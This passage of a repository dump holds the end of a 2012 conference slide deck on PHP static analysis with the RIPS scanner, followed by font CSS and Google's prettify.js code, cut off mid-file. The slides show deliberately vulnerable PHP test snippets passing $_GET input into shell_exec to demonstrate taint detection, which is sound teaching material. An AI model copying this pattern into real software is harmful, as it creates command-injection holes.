src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/can-patent.png\">\n\t</article>\n\n\t<article>\n\t\t<h1>RIPS - PHP Scanner</h1>\n\t\t<p>http://www.phpscanner.net</p>\n\t</article>\n\n\t<article>\n\t\t<h1>\n\t\t\tExample time\n\t\t</h1>\n\t</article>\n\n\t<article>\n\t\t<h3>Example 1</h3>\n\t\t<pre class=\"prettyprint lang-php\"><span class=\"pln\">shell_exec</span><span class=\"pun\">(</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'input'</span><span class=\"pun\">]</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">\n\t\t</span></pre>\n\t\t<div class=\"source\">\n\t\t\t<a target=\"_blank\" href=\"http://rips.gamma.peter.serwylo.com/\">http://rips.gamma.peter.serwylo.com/</a>\n\t\t\t<br>\n\t\t\t/srv/http-rips/tests/vuln1.php\n\t\t</div>\n\t</article>\n\n\t<article>\n\t\t<h3>Example 2</h3>\n\t\t<pre class=\"prettyprint lang-php\"><span class=\"kwd\">function</span><span class=\"pln\"> vulnFunction</span><span class=\"pun\">(</span><span class=\"pln\"> $cmd </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t$result </span><span class=\"pun\">=</span><span class=\"pln\"> shell_exec</span><span class=\"pun\">(</span><span class=\"pln\"> $cmd </span><span class=\"pun\">);</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\n</span><span class=\"kwd\">function</span><span class=\"pln\"> intermittentFunction</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t$param </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"test \"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $input </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\" bleh\"</span><span class=\"pun\">;</span><span class=\"pln\">\n\tvulnFunction</span><span class=\"pun\">(</span><span class=\"pln\"> $param </span><span class=\"pun\">);</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\n$firstHand </span><span class=\"pun\">=</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'input'</span><span class=\"pun\">];</span><span class=\"pln\">\n$secondHand </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"IMZ TAINTED: \"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $firstHand </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\", YEAH!\"</span><span class=\"pun\">;</span><span class=\"pln\">\n\nintermittentFunction</span><span class=\"pun\">(</span><span class=\"pln\"> $secondHand </span><span class=\"pun\">);</span><span class=\"pln\">\n\t\t</span></pre>\n\t\t<div class=\"source\">\n\t\t\t<a target=\"_blank\" href=\"http://rips.gamma.peter.serwylo.com/\">http://rips.gamma.peter.serwylo.com/</a>\n\t\t\t<br>\n\t\t\t/srv/http-rips/tests/vuln2.php\n\t\t</div>\n\t</article>\n\n\t<article>\n\t\t<h1>\n\t\t\tMiscellanious PHP projects from freecode.com\n\t\t</h1>\n\t\t<p>(formally freshmeat.net)</p>\n\t</article>\n\n\t<article>\n\t\t<img class=\"centered\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/sacrifice.jpg\">\n\t</article>\n\n\t<article>\n\t\t<h3>\n\t\t\tExample 3\n\t\t</h3>\n\t\t<br>\n\t\t<a target=\"_blank\" href=\"http://peter.serwylo.com/archive/talks/lca/2012/rips-results/test-1.html\">\n\t\t\t<img class=\"centered\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/test-1-screenie.png\" width=\"90%\">\n\t\t</a>\n\t</article>\n\n\t<article>\n\t\t<h2>\n\t\t\tFalse Positives\n\t\t</h2>\n\t\t<br>\n\t\t<img class=\"centered\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/custom-sanitizer.png\" width=\"90%\">\n\t</article>\n\t\n\t<article class=\"fill\">\n\t\t<img src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/cans-pile.jpg\">\n\t\t<div class=\"source white\">\n\t\t\thttp://www.cancrusher.co.za\n\t\t</div>\n\t</article>\n\t\n\t<article>\n\t\t<h1>\n\t\t\tCustom Securing Functions\n\t\t</h1>\n\t</article>\n\n\t<article class=\"fill\">\n\t\t<p class=\"build\">\n\t\t\t<img src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/securing-gravel.jpg\" class=\"to-build\">\n\t\t</p>\n\t\t<div class=\"source white\">\n\t\t\thttp://winningateverything.com\n\t\t</div>\n\t</article>\n\n      <article>\n\t<h1>\n\t\tCustom Securing Functions\n\t</h1>\n\t\n\t<p>\n\t\tconfig/securing.php\n\t</p>\n\n\t<pre class=\"prettyprint lang-php\"><span class=\"com\">// securing functions for file handling</span><span class=\"pln\">\n$F_SECURING_FILE </span><span class=\"pun\">=</span><span class=\"pln\"> array</span><span class=\"pun\">(</span><span class=\"pln\">\n\t</span><span class=\"str\">'sanitize_filename'</span><span class=\"pln\">\n</span><span class=\"pun\">);</span><span class=\"pln\">\n\t</span></pre>\n      </article>\n\n\t<article>\n\t\t<h1>\n\t\t\tCustom Securing Functions\n\t\t</h1>\n\t\t<p>\n\t\t\tconfig/securing.php\n\t\t</p>\n\t\t<pre class=\"prettyprint lang-php\"><span class=\"com\">// securing functions for every vulnerability</span><span class=\"pln\">\n$F_SECURING_STRING </span><span class=\"pun\">=</span><span class=\"pln\"> array</span><span class=\"pun\">(</span><span class=\"pln\">\n\t</span><span class=\"str\">'sanitize_int'</span><span class=\"pun\">,</span><span class=\"pln\">\n\t</span><span class=\"str\">'intval'</span><span class=\"pun\">,</span><span class=\"pln\">\n\t</span><span class=\"str\">'floatval'</span><span class=\"pun\">,</span><span class=\"pln\">\n\t</span><span class=\"str\">'md5'</span><span class=\"pun\">,</span><span class=\"pln\">\n\t</span><span class=\"pun\">...</span><span class=\"pln\">\n\t\t</span></pre>\n\t</article>\n\n      <article>\n\t<h3>\n\t\tLimitations\n\t</h3>\n\t<ul class=\"build\">\n\t\t<li class=\"to-build\">OOP not supported</li>\n\t\t<li class=\"to-build\">Can't successfully resolve all includes</li>\n\t\t<li class=\"to-build\">Browser based</li>\n\t\t<li class=\"to-build\">Slow to scan</li>\n\t</ul>\n      </article>\n\n      <article>\n\t<h1>\n\t\tWhat I'd love to see\n\t</h1>\n\t<p>\n\t\tPlugins for php compilers (e.g. HipHop/phc/rphp)\n\t</p>\n\t<ul>\n\t\t<li>Written in C++ for improved performance</li>\n\t\t<li>Already have established parsers</li>\n\t\t<li>Already analyse code for optimisations</li>\n\t</ul>\n      </article>\n\n\t<article class=\"fill\">\n\t\t<h1>Thanks for listening</h1>\n\t\t<p>Questions?</p>\n\t\t<!--<p class=\"build\">\n\t\t\t<img class=\"to-build\" src=\"kthnxbai.jpg\" />\n\t\t</p>\n\t\t<div class=\"source white\">\n\t\t\thttp://cheezburger.com\n\t\t</div>-->\n\t</article>\n\n    <div id=\"prev-slide-area\" class=\"slide-area\"></div><div id=\"next-slide-area\" class=\"slide-area\"></div></section>\n\n  \n\n\n<link href=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/css.css\" type=\"text/css\" rel=\"stylesheet\"><link href=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/styles.css\" type=\"text/css\" rel=\"stylesheet\"><script src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/prettify.txt\" type=\"text/javascript\"></script></body></html>"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis_files/a.html",
    "content": "<html><head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\"></head><body></body></html>"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis_files/css.css",
    "content": "@font-face {\n  font-family: 'Droid Sans Mono';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Droid Sans Mono'), local('DroidSansMono'), url(http://themes.googleusercontent.com/static/fonts/droidsansmono/v4/ns-m2xQYezAtqh7ai59hJaH0X__W3S3MJL29bc5CWfs.woff) format('woff');\n}\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans'), local('OpenSans'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3bO3LdcAZYWl9Si6vvxL-qU.woff) format('woff');\n}\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 600;\n  src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSqRDOzjiPcYnFooOUGCOsRk.woff) format('woff');\n}\n@font-face {\n  font-family: 'Open Sans';\n  font-style: italic;\n  font-weight: 400;\n  src: local('Open Sans Italic'), local('OpenSans-Italic'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/xjAJXh38I15wypJXxuGMBrrIa-7acMAeDBVuclsi6Gc.woff) format('woff');\n}\n@font-face {\n  font-family: 'Open Sans';\n  font-style: italic;\n  font-weight: 600;\n  src: local('Open Sans Semibold Italic'), local('OpenSans-SemiboldItalic'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/PRmiXeptR36kaC0GEAetxuw_rQOTGi-AJs5XCWaKIhU.woff) format('woff');\n}\n"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis_files/prettify.txt",
    "content": "// Copyright (C) 2006 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n\n/**\n * @fileoverview\n * some functions for browser-side pretty printing of code contained in html.\n *\n * <p>\n * For a fairly comprehensive set of languages see the\n * <a href=\"http://google-code-prettify.googlecode.com/svn/trunk/README.html#langs\">README</a>\n * file that came with this source.  At a minimum, the lexer should work on a\n * number of languages including C and friends, Java, Python, Bash, SQL, HTML,\n * XML, CSS, Javascript, and Makefiles.  It works passably on Ruby, PHP and Awk\n * and a subset of Perl, but, because of commenting conventions, doesn't work on\n * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.\n * <p>\n * Usage: <ol>\n * <li> include this source file in an html page via\n *   {@code <script type=\"text/javascript\" src=\"/path/to/prettify.js\"></script>}\n * <li> define style rules.  See the example page for examples.\n * <li> mark the {@code <pre>} and {@code <code>} tags in your source with\n *    {@code class=prettyprint.}\n *    You can also use the (html deprecated) {@code <xmp>} tag, but the pretty\n *    printer needs to do more substantial DOM manipulations to support that, so\n *    some css styles may not be preserved.\n * </ol>\n * That's it.  I wanted to keep the API as simple as possible, so there's no\n * need to specify which language the code is in, but if you wish, you can add\n * another class to the {@code <pre>} or {@code <code>} element to specify the\n * language, as in {@code <pre class=\"prettyprint lang-java\">}.  Any class that\n * starts with \"lang-\" followed by a file extension, specifies the file type.\n * See the \"lang-*.js\" files in this directory for code that implements\n * per-language file handlers.\n * <p>\n * Change log:<br>\n * cbeust, 2006/08/22\n * <blockquote>\n *   Java annotations (start with \"@\") are now captured as literals (\"lit\")\n * </blockquote>\n * @requires console\n */\n\n// JSLint declarations\n/*global console, document, navigator, setTimeout, window */\n\n/**\n * Split {@code prettyPrint} into multiple timeouts so as not to interfere with\n * UI events.\n * If set to {@code false}, {@code prettyPrint()} is synchronous.\n */\nwindow['PR_SHOULD_USE_CONTINUATION'] = true;\n\n/** the number of characters between tab columns */\nwindow['PR_TAB_WIDTH'] = 8;\n\n/** Contains functions for creating and registering new language handlers.\n  * @type {Object}\n  */\nwindow['PR']\n\n/** Pretty print a chunk of code.\n  *\n  * @param {string} sourceCodeHtml code as html\n  * @return {string} code as html, but prettier\n  */\n  = window['prettyPrintOne']\n/** Find all the {@code <pre>} and {@code <code>} tags in the DOM with\n  * {@code class=prettyprint} and prettify them.\n  * @param {Function?} opt_whenDone if specified, called when the last entry\n  *     has been finished.\n  */\n  = window['prettyPrint'] = void 0;\n\n\n(function () {\n  // Keyword lists for various languages.\n  var FLOW_CONTROL_KEYWORDS =\n      \"break continue do else for if return while \";\n  var C_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"auto case char const default \" +\n      \"double enum extern float goto int long register short signed sizeof \" +\n      \"static struct switch typedef union unsigned void volatile \";\n  var COMMON_KEYWORDS = C_KEYWORDS + \"catch class delete false import \" +\n      \"new operator private protected public this throw true try typeof \";\n  var CPP_KEYWORDS = COMMON_KEYWORDS + \"alignof align_union asm axiom bool \" +\n      \"concept concept_map const_cast constexpr decltype \" +\n      \"dynamic_cast explicit export friend inline late_check \" +\n      \"mutable namespace nullptr reinterpret_cast static_assert static_cast \" +\n      \"template typeid typename using virtual wchar_t where \";\n  var JAVA_KEYWORDS = COMMON_KEYWORDS +\n      \"abstract boolean byte extends final finally implements import \" +\n      \"instanceof null native package strictfp super synchronized throws \" +\n      \"transient \";\n  var CSHARP_KEYWORDS = JAVA_KEYWORDS +\n      \"as base by checked decimal delegate descending dynamic event \" +\n      \"fixed foreach from group implicit in interface internal into is lock \" +\n      \"object out override orderby params partial readonly ref sbyte sealed \" +\n      \"stackalloc string select uint ulong unchecked unsafe ushort var \";\n  var COFFEE_KEYWORDS = \"all and by catch class else extends false finally \" +\n      \"for if in is isnt loop new no not null of off on or return super then \" +\n      \"true try unless until when while yes \";\n  var JSCRIPT_KEYWORDS = COMMON_KEYWORDS +\n      \"debugger eval export function get null set undefined var with \" +\n      \"Infinity NaN \";\n  var PERL_KEYWORDS = \"caller delete die do dump elsif eval exit foreach for \" +\n      \"goto if import last local my next no our print package redo require \" +\n      \"sub undef unless until use wantarray while BEGIN END \";\n  var PYTHON_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"and as assert class def del \" +\n      \"elif except exec finally from global import in is lambda \" +\n      \"nonlocal not or pass print raise try with yield \" +\n      \"False True None \";\n  var RUBY_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"alias and begin case class def\" +\n      \" defined elsif end ensure false in module next nil not or redo rescue \" +\n      \"retry self super then true undef unless until when yield BEGIN END \";\n  var SH_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"case done elif esac eval fi \" +\n      \"function in local set then until \";\n  var ALL_KEYWORDS = (\n      CPP_KEYWORDS + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS +\n      PYTHON_KEYWORDS + RUBY_KEYWORDS + SH_KEYWORDS);\n\n  // token style names.  correspond to css classes\n  /** token style for a string literal */\n  var PR_STRING = 'str';\n  /** token style for a keyword */\n  var PR_KEYWORD = 'kwd';\n  /** token style for a comment */\n  var PR_COMMENT = 'com';\n  /** token style for a type */\n  var PR_TYPE = 'typ';\n  /** token style for a literal value.  e.g. 1, null, true. */\n  var PR_LITERAL = 'lit';\n  /** token style for a punctuation string. */\n  var PR_PUNCTUATION = 'pun';\n  /** token style for a punctuation string. */\n  var PR_PLAIN = 'pln';\n\n  /** token style for an sgml tag. */\n  var PR_TAG = 'tag';\n  /** token style for a markup declaration such as a DOCTYPE. */\n  var PR_DECLARATION = 'dec';\n  /** token style for embedded source. */\n  var PR_SOURCE = 'src';\n  /** token style for an sgml attribute name. */\n  var PR_ATTRIB_NAME = 'atn';\n  /** token style for an sgml attribute value. */\n  var PR_ATTRIB_VALUE = 'atv';\n\n  /**\n   * A class that indicates a section of markup that is not code, e.g. to allow\n   * embedding of line numbers within code listings.\n   */\n  var PR_NOCODE = 'nocode';\n\n  /** A set of tokens that can precede a regular expression literal in\n    * javascript.\n    * http://www.mozilla.org/js/language/js20/rationale/syntax.html has the full\n    * list, but I've removed ones that might be problematic when seen in\n    * languages that don't support regular expression literals.\n    *\n    * <p>Specifically, I've removed any keywords that can't precede a regexp\n    * literal in a syntactically legal javascript program, and I've removed the\n    * \"in\" keyword since it's not a keyword in many languages, and might be used\n    * as a count of inches.\n    *\n    * <p>The link a above does not accurately describe EcmaScript rules since\n    * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works\n    * very well in practice.\n    *\n    * @private\n    */\n  var REGEXP_PRECEDER_PATTERN = function () {\n      var preceders = [\n          \"!\", \"!=\", \"!==\", \"#\", \"%\", \"%=\", \"&\", \"&&\", \"&&=\",\n          \"&=\", \"(\", \"*\", \"*=\", /* \"+\", */ \"+=\", \",\", /* \"-\", */ \"-=\",\n          \"->\", /*\".\", \"..\", \"...\", handled below */ \"/\", \"/=\", \":\", \"::\", \";\",\n          \"<\", \"<<\", \"<<=\", \"<=\", \"=\", \"==\", \"===\", \">\",\n          \">=\", \">>\", \">>=\", \">>>\", \">>>=\", \"?\", \"@\", \"[\",\n          \"^\", \"^=\", \"^^\", \"^^=\", \"{\", \"|\", \"|=\", \"||\",\n          \"||=\", \"~\" /* handles =~ and !~ */,\n          \"break\", \"case\", \"continue\", \"delete\",\n          \"do\", \"else\", \"finally\", \"instanceof\",\n          \"return\", \"throw\", \"try\", \"typeof\"\n          ];\n      var pattern = '(?:^^|[+-]';\n      for (var i = 0; i < preceders.length; ++i) {\n        pattern += '|' + preceders[i].replace(/([^=<>:&a-z])/g, '\\\\$1');\n      }\n      pattern += ')\\\\s*';  // matches at end, and matches empty string\n      return pattern;\n      // CAVEAT: this does not properly handle the case where a regular\n      // expression immediately follows another since a regular expression may\n      // have flags for case-sensitivity and the like.  Having regexp tokens\n      // adjacent is not valid in any language I'm aware of, so I'm punting.\n      // TODO: maybe style special characters inside a regexp as punctuation.\n    }();\n\n  \n  /**\n   * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally\n   * matches the union of the sets of strings matched by the input RegExp.\n   * Since it matches globally, if the input strings have a start-of-input\n   * anchor (/^.../), it is ignored for the purposes of unioning.\n   * @param {Array.<RegExp>} regexs non multiline, non-global regexs.\n   * @return {RegExp} a global regex.\n   */\n  function combinePrefixPatterns(regexs) {\n    var capturedGroupIndex = 0;\n  \n    var needToFoldCase = false;\n    var ignoreCase = false;\n    for (var i = 0, n = regexs.length; i < n; ++i) {\n      var regex = regexs[i];\n      if (regex.ignoreCase) {\n        ignoreCase = true;\n      } else if (/[a-z]/i.test(regex.source.replace(\n                     /\\\\u[0-9a-f]{4}|\\\\x[0-9a-f]{2}|\\\\[^ux]/gi, ''))) {\n        needToFoldCase = true;\n        ignoreCase = false;\n        break;\n      }\n    }\n  \n    function decodeEscape(charsetPart) {\n      if (charsetPart.charAt(0) !== '\\\\') { return charsetPart.charCodeAt(0); }\n      switch (charsetPart.charAt(1)) {\n        case 'b': return 8;\n        case 't': return 9;\n        case 'n': return 0xa;\n        case 'v': return 0xb;\n        case 'f': return 0xc;\n        case 'r': return 0xd;\n        case 'u': case 'x':\n          return parseInt(charsetPart.substring(2), 16)\n              || charsetPart.charCodeAt(1);\n        case '0': case '1': case '2': case '3': case '4':\n        case '5': case '6': case '7':\n          return parseInt(charsetPart.substring(1), 8);\n        default: return charsetPart.charCodeAt(1);\n      }\n    }\n  \n    function encodeEscape(charCode) {\n      if (charCode < 0x20) {\n        return (charCode < 0x10 ? '\\\\x0' : '\\\\x') + charCode.toString(16);\n      }\n      var ch = String.fromCharCode(charCode);\n      if (ch === '\\\\' || ch === '-' || ch === '[' || ch === ']') {\n        ch = '\\\\' + ch;\n      }\n      return ch;\n    }\n  \n    function caseFoldCharset(charSet) {\n      var charsetParts = charSet.substring(1, charSet.length - 1).match(\n          new RegExp(\n              '\\\\\\\\u[0-9A-Fa-f]{4}'\n              + '|\\\\\\\\x[0-9A-Fa-f]{2}'\n              + '|\\\\\\\\[0-3][0-7]{0,2}'\n              + '|\\\\\\\\[0-7]{1,2}'\n              + '|\\\\\\\\[\\\\s\\\\S]'\n              + '|-'\n              + '|[^-\\\\\\\\]',\n              'g'));\n      var groups = [];\n      var ranges = [];\n      var inverse = charsetParts[0] === '^';\n      for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {\n        var p = charsetParts[i];\n        switch (p) {\n          case '\\\\B': case '\\\\b':\n          case '\\\\D': case '\\\\d':\n          case '\\\\S': case '\\\\s':\n          case '\\\\W': case '\\\\w':\n            groups.push(p);\n            continue;\n        }\n        var start = decodeEscape(p);\n        var end;\n        if (i + 2 < n && '-' === charsetParts[i + 1]) {\n          end = decodeEscape(charsetParts[i + 2]);\n          i += 2;\n        } else {\n          end = start;\n        }\n        ranges.push([start, end]);\n        // If the range might intersect letters, then expand it.\n        if (!(end < 65 || start > 122)) {\n          if (!(end < 65 || start > 90)) {\n            ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);\n          }\n          if (!(end < 97 || start > 122)) {\n            ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);\n          }\n        }\n      }\n  \n      // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]\n      // -> [[1, 12], [14, 14], [16, 17]]\n      ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1]  - a[1]); });\n      var consolidatedRanges = [];\n      var lastRange = [NaN, NaN];\n      for (var i = 0; i < ranges.length; ++i) {\n        var range = ranges[i];\n        if (range[0] <= lastRange[1] + 1) {\n          lastRange[1] = Math.max(lastRange[1], range[1]);\n        } else {\n          consolidatedRanges.push(lastRange = range);\n        }\n      }\n  \n      var out = ['['];\n      if (inverse) { out.push('^'); }\n      out.push.apply(out, groups);\n      for (var i = 0; i < consolidatedRanges.length; ++i) {\n        var range = consolidatedRanges[i];\n        out.push(encodeEscape(range[0]));\n        if (range[1] > range[0]) {\n          if (range[1] + 1 > range[0]) { out.push('-'); }\n          out.push(encodeEscape(range[1]));\n        }\n      }\n      out.push(']');\n      return out.join('');\n    }\n  \n    function allowAnywhereFoldCaseAndRenumberGroups(regex) {\n      // Split into character sets, escape sequences, punctuation strings\n      // like ('(', '(?:', ')', '^'), and runs of characters that do not\n      // include any of the above.\n      var parts = regex.source.match(\n          new RegExp(\n              '(?:'\n              + '\\\\[(?:[^\\\\x5C\\\\x5D]|\\\\\\\\[\\\\s\\\\S])*\\\\]'  // a character set\n              + '|\\\\\\\\u[A-Fa-f0-9]{4}'  // a unicode escape\n              + '|\\\\\\\\x[A-Fa-f0-9]{2}'  // a hex escape\n              + '|\\\\\\\\[0-9]+'  // a back-reference or octal escape\n              + '|\\\\\\\\[^ux0-9]'  // other escape sequence\n              + '|\\\\(\\\\?[:!=]'  // start of a non-capturing group\n              + '|[\\\\(\\\\)\\\\^]'  // start/emd of a group, or line start\n              + '|[^\\\\x5B\\\\x5C\\\\(\\\\)\\\\^]+'  // run of other characters\n              + ')',\n              'g'));\n      var n = parts.length;\n  \n      // Maps captured group numbers to the number they will occupy in\n      // the output or to -1 if that has not been determined, or to\n      // undefined if they need not be capturing in the output.\n      var capturedGroups = [];\n  \n      // Walk over and identify back references to build the capturedGroups\n      // mapping.\n      for (var i = 0, groupIndex = 0; i < n; ++i) {\n        var p = parts[i];\n        if (p === '(') {\n          // groups are 1-indexed, so max group index is count of '('\n          ++groupIndex;\n        } else if ('\\\\' === p.charAt(0)) {\n          var decimalValue = +p.substring(1);\n          if (decimalValue && decimalValue <= groupIndex) {\n            capturedGroups[decimalValue] = -1;\n          }\n        }\n      }\n  \n      // Renumber groups and reduce capturing groups to non-capturing groups\n      // where possible.\n      for (var i = 1; i < capturedGroups.length; ++i) {\n        if (-1 === capturedGroups[i]) {\n          capturedGroups[i] = ++capturedGroupIndex;\n        }\n      }\n      for (var i = 0, groupIndex = 0; i < n; ++i) {\n        var p = parts[i];\n        if (p === '(') {\n          ++groupIndex;\n          if (capturedGroups[groupIndex] === undefined) {\n            parts[i] = '(?:';\n          }\n        } else if ('\\\\' === p.charAt(0)) {\n          var decimalValue = +p.substring(1);\n          if (decimalValue && decimalValue <= groupIndex) {\n            parts[i] = '\\\\' + capturedGroups[groupIndex];\n          }\n        }\n      }\n  \n      // Remove any prefix anchors so that the output will match anywhere.\n      // ^^ really does mean an anchored match though.\n      for (var i = 0, groupIndex = 0; i < n; ++i) {\n        if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }\n      }\n  \n      // Expand letters to groups to handle mixing of case-sensitive and\n      // case-insensitive patterns if necessary.\n      if (regex.ignoreCase && needToFoldCase) {\n        for (var i = 0; i < n; ++i) {\n          var p = parts[i];\n          var ch0 = p.charAt(0);\n          if (p.length >= 2 && ch0 === '[') {\n            parts[i] = caseFoldCharset(p);\n          } else if (ch0 !== '\\\\') {\n            // TODO: handle letters in numeric escapes.\n            parts[i] = p.replace(\n                /[a-zA-Z]/g,\n                function (ch) {\n                  var cc = ch.charCodeAt(0);\n                  return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';\n                });\n          }\n        }\n      }\n  \n      return parts.join('');\n    }\n  \n    var rewritten = [];\n    for (var i = 0, n = regexs.length; i < n; ++i) {\n      var regex = regexs[i];\n      if (regex.global || regex.multiline) { throw new Error('' + regex); }\n      rewritten.push(\n          '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');\n    }\n  \n    return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');\n  }\n\n\n  /**\n   * Split markup into a string of source code and an array mapping ranges in\n   * that string to the text nodes in which they appear.\n   *\n   * <p>\n   * The HTML DOM structure:</p>\n   * <pre>\n   * (Element   \"p\"\n   *   (Element \"b\"\n   *     (Text  \"print \"))       ; #1\n   *   (Text    \"'Hello '\")      ; #2\n   *   (Element \"br\")            ; #3\n   *   (Text    \"  + 'World';\")) ; #4\n   * </pre>\n   * <p>\n   * corresponds to the HTML\n   * {@code <p><b>print </b>'Hello '<br>  + 'World';</p>}.</p>\n   *\n   * <p>\n   * It will produce the output:</p>\n   * <pre>\n   * {\n   *   source: \"print 'Hello '\\n  + 'World';\",\n   *   //                 1         2\n   *   //       012345678901234 5678901234567\n   *   spans: [0, #1, 6, #2, 14, #3, 15, #4]\n   * }\n   * </pre>\n   * <p>\n   * where #1 is a reference to the {@code \"print \"} text node above, and so\n   * on for the other text nodes.\n   * </p>\n   *\n   * <p>\n   * The {@code} spans array is an array of pairs.  Even elements are the start\n   * indices of substrings, and odd elements are the text nodes (or BR elements)\n   * that contain the text for those substrings.\n   * Substrings continue until the next index or the end of the source.\n   * </p>\n   *\n   * @param {Node} node an HTML DOM subtree containing source-code.\n   * @return {Object} source code and the text nodes in which they occur.\n   */\n  function extractSourceSpans(node) {\n    var nocode = /(?:^|\\s)nocode(?:\\s|$)/;\n  \n    var chunks = [];\n    var length = 0;\n    var spans = [];\n    var k = 0;\n  \n    var whitespace;\n    if (node.currentStyle) {\n      whitespace = node.currentStyle.whiteSpace;\n    } else if (window.getComputedStyle) {\n      whitespace = document.defaultView.getComputedStyle(node, null)\n          .getPropertyValue('white-space');\n    }\n    var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);\n  \n    function walk(node) {\n      switch (node.nodeType) {\n        case 1:  // Element\n          if (nocode.test(node.className)) { return; }\n          for (var child = node.firstChild; child; child = child.nextSibling) {\n            walk(child);\n          }\n          var nodeName = node.nodeName;\n          if ('BR' === nodeName || 'LI' === nodeName) {\n            chunks[k] = '\\n';\n            spans[k << 1] = length++;\n            spans[(k++ << 1) | 1] = node;\n          }\n          break;\n        case 3: case 4:  // Text\n          var text = node.nodeValue;\n          if (text.length) {\n            if (!isPreformatted) {\n              text = text.replace(/[ \\t\\r\\n]+/g, ' ');\n            } else {\n              text = text.replace(/\\r\\n?/g, '\\n');  // Normalize newlines.\n            }\n            // TODO: handle tabs here?\n            chunks[k] = text;\n            spans[k << 1] = length;\n            length += text.length;\n            spans[(k++ << 1) | 1] = node;\n          }\n          break;\n      }\n    }\n  \n    walk(node);\n  \n    return {\n      source: chunks.join('').replace(/\\n$/, ''),\n      spans: spans\n    };\n  }\n\n\n  /**\n   * Apply the given language handler to sourceCode and add the resulting\n   * decorations to out.\n   * @param {number} basePos the index of sourceCode within the chunk of source\n   *    whose decorations are already present on out.\n   */\n  function appendDecorations(basePos, sourceCode, langHandler, out) {\n    if (!sourceCode) { return; }\n    var job = {\n      source: sourceCode,\n      basePos: basePos\n    };\n    langHandler(job);\n    out.push.apply(out, job.decorations);\n  }\n\n  /** Given triples of [style, pattern, context] returns a lexing function,\n    * The lexing function interprets the patterns to find token boundaries and\n    * returns a decoration list of the form\n    * [index_0, style_0, index_1, style_1, ..., index_n, style_n]\n    * where index_n is an index into the sourceCode, and style_n is a style\n    * constant like PR_PLAIN.  index_n-1 <= index_n, and style_n-1 applies to\n    * all characters in sourceCode[index_n-1:index_n].\n    *\n    * The stylePatterns is a list whose elements have the form\n    * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].\n    *\n    * Style is a style constant like PR_PLAIN, or can be a string of the\n    * form 'lang-FOO', where FOO is a language extension describing the\n    * language of the portion of the token in $1 after pattern executes.\n    * E.g., if style is 'lang-lisp', and group 1 contains the text\n    * '(hello (world))', then that portion of the token will be passed to the\n    * registered lisp handler for formatting.\n    * The text before and after group 1 will be restyled using this decorator\n    * so decorators should take care that this doesn't result in infinite\n    * recursion.  For example, the HTML lexer rule for SCRIPT elements looks\n    * something like ['lang-js', /<[s]cript>(.+?)<\\/script>/].  This may match\n    * '<script>foo()<\\/script>', which would cause the current decorator to\n    * be called with '<script>' which would not match the same rule since\n    * group 1 must not be empty, so it would be instead styled as PR_TAG by\n    * the generic 